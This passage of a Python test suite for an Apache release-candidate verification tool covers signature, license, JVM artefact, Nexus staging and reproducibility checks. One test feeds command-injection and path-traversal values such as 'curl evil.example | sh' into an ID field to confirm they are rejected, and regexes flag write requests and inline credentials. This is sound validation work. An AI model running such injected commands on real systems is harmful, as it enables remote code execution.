Any, +) -> dict[str, Any]: + base: dict[str, Any] = { + "version": version, + "rc": rc, + "rc_tag": f"{version}-{rc}", + "organization": organization, + "signing_mode": signing_mode, + "staging_url": f"https://dist.apache.org/repos/dist/dev/foo/{version}-{rc}/", + "keys_file_url": "https://dist.apache.org/repos/dist/release/foo/KEYS", + "keyserver": "keys.openpgp.org", + "version_manifest_files": ["pom.xml"], + "expected_artefacts": artefacts + or [{"name": f"apache-foo-{version}-source-release.zip", "kind": "source", "required": True}], + "digest_set": digests or ["sha512"], + "binary_prohibit": [], + "binary_accept": [], + "rat_config_path": "pom.xml § rat-maven-plugin", + "rat_excludes_path": "rat-excludes.txt", + "source_tree_validators": [], + "jvm_artefact_checks": "on", + "jvm_companion_location": None, + "jvm_digest_set": [], + "nexus_staging_repo": None, + "source_archive_method": "git-archive", + "source_archive_format": "tar.gz", + "source_archive_prefix": f"apache-foo-{version}", + "reproducibility_source": "on", + "reproducibility_binaries": "off", + "build_command": None, + "convenience_artefacts": convenience or [], + } + return {"organization": organization, "config": {}, "metadata": base | meta} + + +def vrc(**kw: Any) -> VerifyRc: + return VerifyRc.from_load(loaded(**kw)) + + +# --------------------------------------------------------------------------- args + + +def test_args_expect_and_expect_optional_in_listed_order() -> None: + v = vrc( + artefacts=[ + {"name": "apache-foo-1.0.0-source-release.zip", "kind": "source", "required": True}, + {"name": "apache-foo-1.0.0-bin.tar.gz", "kind": "convenience", "required": False}, + ], + digests=["sha512", "sha256", "md5"], + binary_prohibit=["assets/vendor/**/*.min.js"], + binary_accept=["third-party/some-native.so"], + source_tree_validators=["make check-links"], + version_manifest_files=["pom.xml", "foo/__init__.py"], + ) + out = args_mod.invocations(v, staging_copy="rc", keys_file="KEYS") + inv = out["commands"]["inventory"] + assert inv.index('--expect "apache-foo-1.0.0-source-release.zip"') < inv.index( + '--expect-optional "apache-foo-1.0.0-bin.tar.gz"' + ) + assert "--digest sha512" in inv and "--digest sha256" in inv and "md5" not in inv + assert any("md5" in w for w in out["warnings"]) + assert '--keys-url "https://dist.apache.org/repos/dist/release/foo/KEYS"' in out["commands"]["signatures"] + assert '--prohibit "assets/vendor/**/*.min.js"' in out["commands"]["binaries"] + assert '--accept "third-party/some-native.so"' in out["commands"]["binaries"] + assert '--validator "make check-links"' in out["commands"]["symlinks"] + version = out["commands"]["version"] + assert ( + "--rc-tag 1.0.0-rc1" in version + and "--manifest pom.xml" in version + and "--manifest foo/__init__.py" in version + ) + assert out["unpacked_dir"] == "apache-foo-1.0.0-source-release" + assert "--tree apache-foo-1.0.0-source-release" in out["commands"]["binaries"] + + +def test_args_sha512_always_checked() -> None: + out = args_mod.invocations(vrc(digests=["sha256"])) + assert out["digests"] == ["sha512", "sha256"] + + +# --------------------------------------------------------------------------- Step 4 + + +def test_rat_pass_on_exit_zero() -> None: + out = checks.rat(vrc(), report="Summary\nUnapproved: 0\n", exit_code=0) + assert (out["status"], out["classification"], out["unapproved_files"]) == ("PASS", "PASS", []) + + +def test_rat_fail_lists_unapproved_files() -> None: + text = ( + "Files with unapproved licenses:\n\n src/foo/new.py\n docs/x.md\n\n*****\n !????? src/foo/new.py\n" + ) + out = checks.rat(vrc(), report=text, exit_code=1) + assert out["status"] == "FAIL" and out["unapproved_files"] == ["src/foo/new.py", "docs/x.md"] + + +def test_rat_non_zero_exit_alone_fails() -> None: + assert checks.rat(vrc(), report=None, exit_code=1)["classification"] == "FAIL" + + +def test_rat_config_absent_is_skip_with_warn() -> None: + out = checks.rat(vrc(rat_config_path=None, rat_excludes_path=None), report=None, exit_code=None) + assert (out["status"], out["classification"], out["unapproved_files"]) == ("WARN", "SKIP", []) + + +def test_rat_recipe_uses_the_excludes_file() -> None: + out = checks.rat(vrc(), report=None, exit_code=None) + assert out["status"] is None and out["pending"] + assert "unzip apache-foo-1.0.0-source-release.zip" in out["paste_recipe"] + assert "-x rat-excludes.txt" in out["paste_recipe"] + + +# --------------------------------------------------------------------------- Step 7 + + +def symlinks(status: str, validators: list[str]) -> dict[str, Any]: + return { + "step": "source-tree-integrity", + "status": status, + "dangling_symlinks": [], + "outside_symlinks": [], + "validator_failures": [], + "validators_to_run": validators, + "paste_recipe": "cd x", + } + + +def test_source_tree_review_resolves_pass_when_every_validator_exits_zero() -> None: + out = checks.source_tree(symlinks("REVIEW", ["a", "b"]), ["0", "0"]) + assert out["status"] == "PASS" and out["validator_failures"] == [] + + +def test_source_tree_review_resolves_fail_per_failing_validator() -> None: + out = checks.source_tree(symlinks("REVIEW", ["a", "b"]), ["0", "1:docs/x.md links to stripped tools/y"]) + assert out["status"] == "FAIL" + assert out["validator_failures"] == [{"validator": "b", "detail": "docs/x.md links to stripped tools/y"}] + + +def test_source_tree_tool_status_is_final() -> None: + assert checks.source_tree(symlinks("FAIL", ["a"]), ["0"])["status"] == "FAIL" + + +def test_source_tree_pending_until_every_validator_reported() -> None: + out = checks.source_tree(symlinks("REVIEW", ["a", "b"]), ["0"]) + assert out["status"] == "REVIEW" and out["pending"] == ["b"] + + +# --------------------------------------------------------------------------- Step 6b + +JVM_NAMES = ["foo-core-1.0.0.pom", "foo-core-1.0.0.jar"] +HAS_TOOL_INVOCATION = re.compile(r"maven-artifact-verify[^\n]*\s[\"']?dist/dev/[^\s\"']+-rc[0-9]+") +HAS_SHA512 = re.compile(r"--digests[=\s]+[\"']?sha512") +HAS_PODLING = re.compile(r"maven-artifact-verify[^\n]*\s--podling\b") + + +def podling_tree(tmp_path: Path, marker: str | None = "DISCLAIMER") -> str: + tree = tmp_path / "apache-foo-1.0.0" + tree.mkdir() + if marker: + (tree / marker).write_text("incubating", encoding="utf-8") + return str(tree) + + +def mav_report(status: str, **extra: Any) -> str: + report: dict[str, Any] = { + "tool": "maven-artifact-verify", + "status": status, + "artefact_dir": "dist/dev/foo/1.0.0-rc1", + "podling": True, + "digests": ["sha512"], + "poms": [ + { + "pom": "foo-core-1.0.0.pom", + "packaging": "jar", + "check1": {"licenses": "PASS", "developers": "PASS", "scm": "PASS"}, + "check2": {"disclaimer": "PASS", "disclaimer_detail": None}, + } + ], + "jars": [ + { + "jar": "foo-core-1.0.0.jar", + "companions": [ + {"companion": "foo-core-1.0.0-sources.jar", "classification": "PASS", "detail": None}, + {"companion": "foo-core-1.0.0-javadoc.jar", "classification": "PASS", "detail": None}, + ], + } + ], + "unmatched_jars": [], + "findings": [], + } + return json.dumps(report | extra) + + +def run_jvm(v: VerifyRc, tree: str | None, report_text: str | None) -> dict[str, Any]: + return jvm.jvm( + v, names=JVM_NAMES, tree=tree, staged_dir="dist/dev/foo/1.0.0-rc1", report_text=report_text + ) + + +def test_case_1_clean_podling_staged_set(tmp_path: Path) -> None: + v = vrc(jvm_companion_location="staged") + report_text = mav_report("PASS", unmatched_jars=["foo-core-1.0.0-tests.jar"]) + out = run_jvm(v, podling_tree(tmp_path), report_text) + assert out["step"] == "jvm-artefacts" + assert out["status"] == "PASS" + assert out["pom_findings"] == [] and out["companion_findings"] == [] + assert HAS_TOOL_INVOCATION.search(out["paste_recipe"]) + assert HAS_SHA512.search(out["paste_recipe"]) + assert HAS_PODLING.search(out["paste_recipe"]) + # companions with a staged .asc get their own gpg --verify line + assert 'gpg --verify "foo-core-1.0.0-sources.jar.asc" "foo-core-1.0.0-sources.jar"' in out["paste_recipe"] + + +def test_case_4_jar_absent_nexus_only(tmp_path: Path) -> None: + v = vrc(jvm_companion_location="nexus-staging") + report_text = json.dumps( + { + "status": "WARN", + "podling": False, + "poms": [ + { + "pom": "foo-core-1.0.0.pom", + "check1": { + "licenses": "PASS", + "developers": "INHERITED-UNVERIFIED", + "developers_detail": "element absent and the parent chain is not fully staged locally; verify against the effective POM", + "scm": "PASS", + }, + } + ], + "jars": [ + { + "jar": "foo-core-1.0.0.jar", + "companions": [ + { + "companion": "foo-core-1.0.0.jar", + "classification": "ABSENT", + "detail": "main jar not staged locally; companion checks skipped", + } + ], + } + ], + "findings": ["foo-core-1.0.0.jar is declared by a staged POM but not staged locally"], + } + ) + out = run_jvm(v, podling_tree(tmp_path, None), report_text) + assert out["status"] == "WARN" + assert out["pom_findings"] == [ + "foo-core-1.0.0.pom: check1 developers INHERITED-UNVERIFIED — element absent and the parent chain is not fully staged locally; verify against the effective POM" + ] + assert len(out["companion_findings"]) == 1 + assert "ABSENT" in out["companion_findings"][0] and "not a failure" in out["companion_findings"][0] + assert HAS_TOOL_INVOCATION.search(out["paste_recipe"]) and HAS_SHA512.search(out["paste_recipe"]) + assert not HAS_PODLING.search(out["paste_recipe"]) + # the same report under jvm_companion_location: staged is a FAIL + staged = run_jvm(vrc(jvm_companion_location="staged"), None, report_text) + assert staged["status"] == "FAIL" + assert "a FAIL" in staged["companion_findings"][0] + + +def test_case_5_observations_never_fail(tmp_path: Path) -> None: + observations = { + "timestamp_signal": [ + { + "jar": "foo-core-1.0.0.jar", + "signal": "inconsistent", + "entries": 118, + "distinct_timestamps": 4, + "detail": "entry timestamps vary - not consistent with a reproducible configuration", + } + ], + "namespace_signal": [ + { + "jar": "foo-core-1.0.0.jar", + "group_id": "org.apache.foo", + "under_org_apache": True, + "detail": "45/47 class entries under the package path 'org/apache/foo'", + } + ], + "companion_content": [ + { + "jar": "foo-core-1.0.0-sources.jar", + "signal": "contains-class-files", + "detail": "3 .class entries", + }, + { + "jar": "foo-core-1.0.0-javadoc.jar", + "signal": "placeholder", + "detail": "Maven-Central-sanctioned pattern", + }, + ], + } + out = run_jvm( + vrc(jvm_companion_location="nexus-staging"), + podling_tree(tmp_path), + mav_report("PASS", observations=observations), + ) + assert out["status"] == "PASS" + assert out["pom_findings"] == [] and out["companion_findings"] == [] + assert len(out["observations"]) == 4 + assert out["observations"][0].startswith( + "foo-core-1.0.0.jar: inconsistent (4 distinct across 118 entries)" + ) + assert "not consistent with a reproducible configuration" in out["observations"][0] + assert "placeholder" in out["observations"][3] + assert HAS_PODLING.search(out["paste_recipe"]) + + +def test_jvm_skips_without_jars_or_when_off() -> None: + no_jvm = jvm.jvm( + vrc(), names=["apache-foo-1.0.0-source-release.zip"], tree=None, staged_dir=None, report_text=None + ) + assert no_jvm["status"] == "SKIP" + off = jvm.jvm( + vrc(jvm_artefact_checks="off"), names=JVM_NAMES, tree=None, staged_dir=None, report_text=None + ) + assert off["status"] == "SKIP" + + +def test_jvm_digest_set_wins_over_the_digest_set() -> None: + out = jvm.jvm( + vrc(jvm_digest_set=["sha512", "sha1"], digests=["sha512", "sha256"]), + names=JVM_NAMES, + tree=None, + staged_dir="d", + report_text=None, + ) + assert "--digests sha512,sha1" in out["paste_recipe"] + assert out["status"] is None and out["pending"] + + +def test_jvm_missing_companion_asc_gets_no_gpg_line(tmp_path: Path) -> None: + report_text = mav_report( + "FAIL", + jars=[ + { + "jar": "foo-core-1.0.0.jar", + "companions": [ + { + "companion": "foo-core-1.0.0-sources.jar", + "classification": "FAIL", + "detail": "missing .asc signature file (foo-core-1.0.0-sources.jar.asc)", + }, + {"companion": "foo-core-1.0.0-javadoc.jar", "classification": "PASS", "detail": None}, + ], + } + ], + ) + out = run_jvm(vrc(), podling_tree(tmp_path, None), report_text) + assert out["status"] == "FAIL" + assert out["companion_findings"] == [ + "foo-core-1.0.0-sources.jar: missing .asc signature file (foo-core-1.0.0-sources.jar.asc)" + ] + assert "sources.jar.asc" not in out["paste_recipe"] + assert 'gpg --verify "foo-core-1.0.0-javadoc.jar.asc"' in out["paste_recipe"] + + +# --------------------------------------------------------------------------- Step 6c + +HAS_EXISTENCE = re.compile( + r"https://repository\.apache\.org/content/repositories/(orgapache[a-z0-9]+-[0-9]+|snapshots)/" +) +HAS_INVENTORY = re.compile(r"crawl|href=") +HAS_CRED_STATE = re.compile(r"--netrc-file[\s\S]{0,200}?service/local/staging/") +WRITE_VERBS = re.compile( + r"(-X|--request)\s*['\"]?(POST|PUT|DELETE|PATCH)\b|(^|\s)(-d|--data|--data-binary|--data-raw|-F|--form|-T|--upload-file)\s|service/local/staging/(bulk|profiles/[^\s'\"]+/(finish|drop|promote|release))" +) +INLINE_CREDS = re.compile(r"(^|\s)(-u|--user)\s+\S") +SKIP_COMMENT = re.compile(r"^\s*#", re.MULTILINE) + + +def crawl_text(version: str, *, drop: tuple[str, ...] = (), artifact: str = "foo-core") -> str: + lines = [] + for suffix in (".jar", ".pom", "-sources.jar", "-javadoc.jar"): + name = f"{artifact}-{version}{suffix}" + for extra in ("", ".asc", ".sha1", ".md5"): + if name + extra not in drop: + lines.append(f"org/apache/foo/{artifact}/{version}/{name}{extra}") + return "\n".join(lines) + + +def run_nexus( + v: VerifyRc, *, names: list[str] | None = None, issue_body: str | None = None, **kw: Any +) -> dict[str, Any]: + skipped, repo = nexus.gate(v, names if names is not None else JVM_NAMES, issue_body) + if skipped is not None: + return skipped + assert repo is not None + args: dict[str, Any] = { + "rm_credentials": False, + "not_probed": False, + "existence_code": 200, + "state_text": None, + "profile_text": None, + "crawl_text": None, + } | kw + return nexus.classify(v, repo, **args) + + +def assert_safe_recipe(out: dict[str, Any]) -> None: + assert not WRITE_VERBS.search(out["paste_recipe"]) + assert not INLINE_CREDS.search(out["paste_recipe"]) + + +def test_case_1_closed_repo_complete_set() -> None: + v = vrc(nexus_staging_repo="orgapachefoo-1024", jvm_companion_location="nexus-staging") + state = json.dumps( + {"data": {"repositoryId": "orgapachefoo-1024", "state": "closed", "transitioning": False}} + ) + profile = "orgapachefoo-1024\tclosed\torg.apache.foo\n" + out = run_nexus( + v, rm_credentials=True, state_text=state, profile_text=profile, crawl_text=crawl_text("1.0.0") + ) + assert out["status"] == "PASS" + assert out["staging_repos"] == [{"id": "orgapachefoo-1024", "state": "closed", "matches_rc": True}] + assert out["nexus_findings"] == [] + assert HAS_EXISTENCE.search(out["paste_recipe"]) and HAS_INVENTORY.search(out["paste_recipe"]) + assert HAS_CRED_STATE.search(out["paste_recipe"]) + assert_safe_recipe(out) + + +def test_case_2_open_repo() -> None: + v = vrc(version="1.0.0", rc="rc2", nexus_staging_repo="orgapachefoo-1025") + state = json.dumps( + {"data": {"repositoryId": "orgapachefoo-1025", "state": "open", "transitioning": False}} + ) + out = run_nexus(v, rm_credentials=True, state_text=state, profile_text="", crawl_text=crawl_text("1.0.0")) + assert out["status"] == "FAIL" + assert out["staging_repos"] == [{"id": "orgapachefoo-1025", "state": "open", "matches_rc": True}] + assert len(out["nexus_findings"]) == 1 + assert "open" in out["nexus_findings"][0] and "not reachable" not in out["nexus_findings"][0] + assert HAS_CRED_STATE.search(out["paste_recipe"]) + assert_safe_recipe(out) + + +def test_case_4_stale_sibling_repos() -> None: + v = vrc(nexus_staging_repo="orgapachefoo-1024") + profile = json.dumps( + { + "data": [ + { + "repositoryId": "orgapachefoo-1023", + "state": "open", + "description": "Managed Release: foo 0.9.0 (abandoned attempt)", + }, + { + "repositoryId": "orgapachefoo-1024", + "state": "closed", + "description": "Managed Release: foo 1.0.0", + }, + ] + } + ) + state = json.dumps({"data": {"state": "closed", "transitioning": False}}) + out = run_nexus( + v, rm_credentials=True, state_text=state, profile_text=profile, crawl_text=crawl_text("1.0.0") + ) + assert out["status"] == "WARN" + assert out["staging_repos"] == [ + {"id": "orgapachefoo-1023", "state": "open", "matches_rc": False}, + {"id": "orgapachefoo-1024", "state": "closed", "matches_rc": True}, + ] + assert len(out["nexus_findings"]) == 1 and "orgapachefoo-1023" in out["nexus_findings"][0] + assert "stale" in out["nexus_findings"][0] + assert_safe_recipe(out) + + +def test_case_5_not_reachable_404() -> None: + v = vrc(nexus_staging_repo="orgapachefoo-1031") + out = run_nexus(v, rm_credentials=True, existence_code=404, state_text="HTTP 404 Not Found") + assert out["status"] == "FAIL" + assert out["staging_repos"] == [{"id": "orgapachefoo-1031", "state": "unverified", "matches_rc": False}] + assert len(out["nexus_findings"]) == 1 + assert "not reachable at the id given for this RC" in out["nexus_findings"][0] + assert "open" not in out["nexus_findings"][0] + assert HAS_EXISTENCE.search(out["paste_recipe"]) and HAS_CRED_STATE.search(out["paste_recipe"]) + assert_safe_recipe(out) + + +def test_case_6_snapshots_repo_targeted() -> None: + v = vrc(nexus_staging_repo="snapshots") + crawl = "/org/apache/foo/foo-core/1.0.0-SNAPSHOT/\n foo-core-1.0.0-SNAPSHOT.jar\n foo-core-1.0.0-SNAPSHOT.pom\n" + out = run_nexus(v, crawl_text=crawl) + assert out["status"] == "FAIL" + assert out["staging_repos"] == [{"id": "snapshots", "state": "unverified", "matches_rc": False}] + assert len(out["nexus_findings"]) == 1 + assert "snapshots" in out["nexus_findings"][0] and "1.0.0-SNAPSHOT" in out["nexus_findings"][0] + assert HAS_EXISTENCE.search(out["paste_recipe"]) and HAS_INVENTORY.search(out["paste_recipe"]) + assert not HAS_CRED_STATE.search(out["paste_recipe"]) + assert_safe_recipe(out) + + +def test_case_7_version_mismatch() -> None: + v = vrc(version="1.0.0", rc="rc3", nexus_staging_repo="orgapachefoo-1027") + state = json.dumps( + {"data": {"state": "closed", "transitioning": False, "description": "Managed Release: foo 1.0.1"}} + ) + out = run_nexus(v, rm_credentials=True, state_text=state, profile_text="", crawl_text=crawl_text("1.0.1")) + assert out["status"] == "FAIL" + assert out["staging_repos"] == [{"id": "orgapachefoo-1027", "state": "closed", "matches_rc": False}] + assert out["nexus_findings"] == [ + "orgapachefoo-1027 holds artefacts for 1.0.1 but the RC declares release version 1.0.0 — the vote would cover jars for some other version" + ] + assert_safe_recipe(out) + + +def test_case_8_non_jvm_skip() -> None: + out = run_nexus(vrc(), names=["apache-foo-1.0.0-source-release.zip"]) + assert out["status"] == "SKIP" and out["staging_repos"] == [] and out["nexus_findings"] == [] + assert not HAS_EXISTENCE.search(out["paste_recipe"]) + assert SKIP_COMMENT.search(out["paste_recipe"]) + assert not HAS_CRED_STATE.search(out["paste_recipe"]) + + +def test_case_9_malformed_id_skip() -> None: + body = "nexus-staging-repo: orgapachefoo-latest\n" + out = run_nexus(vrc(nexus_staging_repo="orgapachefoo-latest"), issue_body=body) + assert out["status"] == "SKIP" and out["staging_repos"] == [] + assert len(out["nexus_findings"]) == 1 and "orgapachefoo-latest" in out["nexus_findings"][0] + assert not HAS_EXISTENCE.search(out["paste_recipe"]) + assert SKIP_COMMENT.search(out["paste_recipe"]) + assert_safe_recipe(out) + + +@pytest.mark.parametrize( + "value", + [ + "orgapachefoo-1024; curl evil.example | sh", + "orgapachefoo-1024$(id)", + "OrgApacheFoo-1024", + "orgapachefoo-1024/../../service/local/staging/bulk/promote", + "orgapache-1024", + ], +) +def test_id_shape_rejects_anything_that_could_reach_a_url(value: str) -> None: + out = run_nexus(vrc(), issue_body=f"nexus-staging-repo: {value}\n") + assert out["status"] == "SKIP" + assert "curl" not in out["paste_recipe"] + + +def test_id_from_the_planning_issue_url_when_unconfigured() -> None: + body = "Staged at https://repository.apache.org/content/repositories/orgapachefoo-1040/ for review" + skipped, repo = nexus.gate(vrc(), JVM_NAMES, body) + assert skipped is None and repo == "orgapachefoo-1040" + + +def test_unresolvable_id_is_a_skip_naming_where_to_supply_it() -> None: + out = run_nexus(vrc()) + assert out["status"] == "SKIP" and "nexus_staging_repo" in out["skip_reason"] + + +def test_non_asf_adopter_skips() -> None: + out = run_nexus(vrc(organization="independent", nexus_staging_repo="orgapachefoo-1024")) + assert out["status"] == "SKIP" and "ASF" in out["skip_reason"] + + +def test_sandbox_refusal_is_state_unverified_never_not_reachable() -> None: + out = run_nexus(vrc(nexus_staging_repo="orgapachefoo-1024"), not_probed=True) + assert out["status"] == "WARN" + assert ( + "STATE-UNVERIFIED" in out["nexus_findings"][0] + and "not 'repository not reachable'" in out["nexus_findings"][0] + ) + + +def test_anonymous_path_is_state_unverified_and_missing_asc_fails() -> None: + crawl = crawl_text("1.0.0", drop=("foo-core-1.0.0-sources.jar.asc",)) + out = run_nexus(vrc(nexus_staging_repo="orgapachefoo-1024"), crawl_text=crawl) + assert out["status"] == "FAIL" + assert out["staging_repos"] == [{"id": "orgapachefoo-1024", "state": "unverified", "matches_rc": True}] + assert out["nexus_findings"][0].startswith("foo-core-1.0.0-sources.jar has no sibling .asc") + assert out["nexus_findings"][1].startswith("STATE-UNVERIFIED") + assert not HAS_CRED_STATE.search(out["paste_recipe"]) + + +def test_missing_companion_fails_but_pom_packaging_is_exempt() -> None: + crawl = "\n".join( + [ + crawl_text( + "1.0.0", drop=tuple(f"foo-core-1.0.0-javadoc.jar{e}" for e in ("", ".asc", ".sha1", ".md5")) + ), + "org/apache/foo/foo-parent/1.0.0/foo-parent-1.0.0.pom", + "org/apache/foo/foo-parent/1.0.0/foo-parent-1.0.0.pom.asc", + ] + ) + out = run_nexus(vrc(nexus_staging_repo="orgapachefoo-1024"), crawl_text=crawl) + hard = [f for f in out["nexus_findings"] if not f.startswith("STATE-UNVERIFIED")] + assert hard == [ + "foo-core-1.0.0.jar: companion foo-core-1.0.0-javadoc.jar is absent from the staging repository" + ] + + +def test_pending_until_the_crawl_is_saved() -> None: + out = run_nexus(vrc(nexus_staging_repo="orgapachefoo-1024")) + assert out["status"] is None and any("--crawl" in p for p in out["pending"]) + + +# --------------------------------------------------------------------------- Step 9 + +COMMIT = "1890a13d2c4e6f8a0b1c2d3e4f5a6b7c8d9e0f12" +SWHID = "swh:1:dir:3b9f0c2e7a1d4f6b8e0a2c4d6f8a0b2c4e6f8a1b" + + +def compare(verdict: str, **extra: Any) -> dict[str, Any]: + return {"verdict": verdict, "sha512_a": "a", "sha512_b": "b", "swhid_a": SWHID, "swhid_b": SWHID} | extra + + +def run_repro(v: VerifyRc, **kw: Any) -> dict[str, Any]: + args: dict[str, Any] = { + "skip_repro": False, + "trusted_hardware": False, + "recorded_commit": COMMIT, + "tag_commit": COMMIT, + "recorded_swhid": None, + "atr_swhid": None, + "epoch": 1758326400, + "check": None, + "compare": None, + "binary_results": [], + } | kw + return repro.reproducibility(v, **args) + + +def test_case_1_identical_pass() -> None: + check = [ + {"name": "modification-times", "status": "PASS", "detail": ""}, + {"name": "swhid", "status": "PASS", "detail": f"content is {SWHID}"}, + ] + out = run_repro( + vrc(), + recorded_swhid=f"{SWHID};origin=https://github.com/apache/foo;anchor=swh:1:rev:{COMMIT}", + check=check, + compare=compare("identical"), + ) + assert out["status"] == "PASS" and out["mandatory"] is False + assert out["source"] == { + "enabled": True, + "verdict": "identical", + "recorded_commit": COMMIT, + "source_date_epoch": 1758326400, + "swhid_dir": SWHID, + "swhid_matches": True, + "rule_failures": [], + "metadata_differences": [], + "content_differences": [], + } + assert out["binaries"] == {"mode": "off", "identical": [], "differs": [], "known_divergences_hit": []} + assert out["trusted_hardware_asserted"] is False + + +def test_case_2_differs_fail() -> None: + commit = "a1b2c3d4e5f60718293a4b5c6d7e8f9012345678" + check = [ + {"name": "modification-times", "status": "FAIL", "detail": "3 distinct timestamps"}, + {"name": "zip-extra-fields", "status": "FAIL", "detail": ""}, + ] + cmp = compare( + "differs", + added=["apache-foo-2.4.0/src/foo/__pycache__/core.cpython-312.pyc", "apache-foo-2.4.0/.env.local"], + changed=["apache-foo-2.4.0/src/foo/version.py"], + ) + out = run_repro( + vrc(version="2.4.0", source_archive_format="zip"), + recorded_commit=commit, + tag_commit=commit, + epoch=1758400000, + check=check, + compare=cmp, + ) + assert out["status"] == "FAIL" and out["mandatory"] is False + source = out["source"] + assert ( + source["verdict"] == "differs" + and source["recorded_commit"] == commit + and source["source_date_epoch"] == 1758400000 + ) + assert source["rule_failures"] == ["modification-times", "zip-extra-fields"] + assert source["metadata_differences"] == [] + assert source["content_differences"] == [ + "added apache-foo-2.4.0/src/foo/__pycache__/core.cpython-312.pyc", + "added apache-foo-2.4.0/.env.local", + "changed apache-foo-2.4.0/src/foo/version.py", + ] + assert out["binaries"]["mode"] == "off" and out["trusted_hardware_asserted"] is False + + +def test_case_3_content_identical_warn() -> None: + commit = "0f1e2d3c4b5a69788796a5b4c3d2e1f0aabbccdd" + check = [ + {"name": "zip-extra-fields", "status": "FAIL", "detail": "every member carries a 9-byte extra field"} + ] + cmp = compare( + "content-identical", metadata_differences=["reproducibility check zip-extra-fields fails on A"] + ) + out = run_repro( + vrc(version="0.2.0"), + recorded_commit=commit, + tag_commit=commit, + epoch=1758500000, + check=check, + compare=cmp, + ) + assert out["status"] == "WARN" and out["mandatory"] is False + assert out["source"]["verdict"] == "content-identical" + assert out["source"]["rule_failures"] == ["zip-extra-fields"] + assert out["source"]["content_differences"] == [] + assert out["binaries"] == {"mode": "off", "identical": [], "differs": [], "known_divergences_hit": []} + + +def test_case_4_content_identical_ci_signed_fail() -> None: + commit = "9988776655443322110000ffeeddccbbaa998877" + bin_entry = { + "name": "apache-foo--bin.tar.gz", + "kind": "binary-tarball", + "reproducibility": "byte-identical", + } + v = vrc( + version="3.2.0", + rc="rc2", + signing_mode="ci-automated", + reproducibility_binaries="byte-identical", + convenience=[bin_entry], + ) + cmp = compare("content-identical", metadata_differences=["reproducibility check gzip-header fails on A"]) + out = run_repro( + v, + skip_repro=True, + trusted_hardware=True, + recorded_commit=commit, + tag_commit=commit, + epoch=1758412800, + compare=cmp, + binary_results=["apache-foo-3.2.0-bin.tar.gz=identical"], + ) + assert out["status"] == "FAIL" and out["mandatory"] is True + assert out["source"]["enabled"] is True and out["source"]["verdict"] == "content-identical" + assert out["source"]["recorded_commit"] == commit and out["source"]["source_date_epoch"] == 1758412800 + assert out["source"]["content_differences"] == [] + assert out["binaries"] == { + "mode": "byte-identical", + "identical": ["apache-foo-3.2.0-bin.tar.gz"], + "differs": [], + "known_divergences_hit": [], + } + assert out["trusted_hardware_asserted"] is True + assert any("--skip-repro ignored" in n for n in out["notes"]) + assert "--require-identical" in out["paste_recipe"] + + +def test_case_5_convenience_artefact_differs() -> None: + commit = "9988776655443322110000ffeeddccbbaa998877" + entries = [ + { + "name": "apache-foo--bin.tar.gz", + "kind": "binary-tarball", + "staging": "dist-dev", + "build_command": "mvn package", + }, + { + "name": "registry.example.org/apache/foo:-", + "kind": "container-image", + "staging": "registry-staging", + "build_command": "docker build .", + }, + ] + v = vrc(version="4.1.0", rc="rc2", reproducibility_binaries="byte-identical", convenience=entries) + out = run_repro( + v, + recorded_commit=commit, + tag_commit=commit, + epoch=1758412800, + compare=compare("identical"), + binary_results=[ + "apache-foo-4.1.0-bin.tar.gz=identical", + "registry.example.org/apache/foo:4.1.0-rc2=differs", + ], + ) + assert out["status"] == "FAIL" and out["mandatory"] is False + assert out["source"]["verdict"] == "identical" and out["source"]["content_differences"] == [] + assert out["binaries"] == { + "mode": "byte-identical", + "identical": ["apache-foo-4.1.0-bin.tar.gz"], + "differs": ["registry.example.org/apache/foo:4.1.0-rc2"], + "known_divergences_hit": [], + } + assert out["trusted_hardware_asserted"] is False + + +def test_tag_moved_fails() -> None: + out = run_repro(vrc(), tag_commit="ffff" * 10, compare=compare("identical")) + assert out["status"] == "FAIL" and out["source"]["verdict"] == "tag-moved" + + +def test_swhid_mismatch_fails_whatever_the_bytes() -> None: + other = "swh:1:dir:" + "0" * 40 + out = run_repro(vrc(), recorded_swhid=other, compare=compare("identical")) + assert out["status"] == "FAIL" and out["source"]["swhid_matches"] is False + + +def test_no_recorded_swhid_reports_the_computed_one() -> None: + out = run_repro(vrc(), compare=compare("identical")) + assert out["status"] == "PASS" and out["source"]["swhid_matches"] is None + assert any(SWHID in n for n in out["notes"]) + + +def test_skip_repro_skips_in_rm_key_mode() -> None: + out = run_repro(vrc(), skip_repro=True) + assert out["status"] == "SKIP" and out["mandatory"] is False and out["source"]["enabled"] is False + + +def test_nothing_enabled_skips() -> None: + out = run_repro(vrc(reproducibility_source="off")) + assert out["status"] == "SKIP" + + +def test_documented_divergence_known_warns_unknown_fails() -> None: + entry = { + "name": "foo-.whl", + "reproducibility": "documented-divergence", + "known_divergences": ["RECORD: wheel tool version line"], + } + v = vrc(convenience=[entry]) + warn = run_repro(v, compare=compare("identical"), binary_results=["foo-1.0.0.whl=known:RECORD"]) + assert warn["status"] == "WARN" and warn["binaries"]["known_divergences_hit"] == ["foo-1.0.0.whl: RECORD"] + fail = run_repro(v, compare=compare("identical"), binary_results=["foo-1.0.0.whl=known:METADATA"]) + assert fail["status"] == "FAIL" and fail["binaries"]["differs"] == ["foo-1.0.0.whl"] + + +def test_binary_off_is_stated_as_published_on_trust() -> None: + v = vrc(convenience=[{"name": "foo-.whl", "reproducibility": "off"}]) + out = run_repro(v, compare=compare("identical")) + assert out["status"] == "PASS" and any("published on trust" in n for n in out["notes"]) + + +def test_pending_until_every_result_is_in() -> None: + v = vrc(convenience=[{"name": "foo-.whl", "reproducibility": "byte-identical"}]) + out = run_repro(v, compare=compare("identical")) + assert out["status"] is None and out["pending"] == ["--binary foo-1.0.0.whl=…"] + + +# --------------------------------------------------------------------------- Step 10 + + +def verdict(overall: str = "PASS") -> dict[str, Any]: + return { + "step": "verdict", + "overall": overall, + "step_summary": [ + {"step": "inventory", "status": "PASS"}, + {"step": "reproducibility", "status": "PASS"}, + ], + "skip_steps": [], + "unresolved": [], + } + + +def step9( + status: str = "PASS", verdict_: str = "identical", differs: list[str] | None = None +) -> dict[str, Any]: + return { + "step": "reproducibility", + "status": status, + "source": {"verdict": verdict_, "recorded_commit": COMMIT, "source_date_epoch": 1758412800}, + "binaries": {"mode": "off", "identical": [], "differs": differs or [], "known_divergences_hit": []}, + } + + +def run_report(v: VerifyRc, **kw: Any) -> dict[str, Any]: + verdict_json = kw.pop("verdict_json", verdict()) + args: dict[str, Any] = { + "repro": step9(), + "rebuilt_sha512": "abc", + "staging_url": None, + "utc": "2026-10-12T10:00:00Z", + "post_to": "https://github.com/apache/foo/issues/300", + "trusted_hardware": True, + "committer": "jdoe", + "findings": [], + "fail_details": [], + "warn_details": [], + } | kw + return report.report(v, 